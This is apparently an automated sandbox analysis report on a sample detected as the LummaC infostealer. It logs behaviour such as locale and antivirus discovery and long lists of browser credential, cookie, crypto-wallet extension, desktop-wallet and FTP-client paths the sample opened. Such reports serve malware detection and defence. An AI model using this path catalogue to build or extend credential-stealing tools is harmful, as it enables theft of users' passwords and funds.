Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00FB2A0F
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00FB2BE4
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: GetLocaleInfoW,	0_2_00FB2B15
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: GetLocaleInfoW,	0_2_00FB247B
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: EnumSystemLocalesW,	0_2_00FB256D
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: EnumSystemLocalesW,	0_2_00FB2522
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00FB2693
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: EnumSystemLocalesW,	0_2_00FB2608
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: GetLocaleInfoW,	0_2_00FA8F4C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe

Code function: 0_2_00F9B594 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00F9B594

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: RegAsm.exe, 00000002.00000002.1768091820.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla\Notes9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
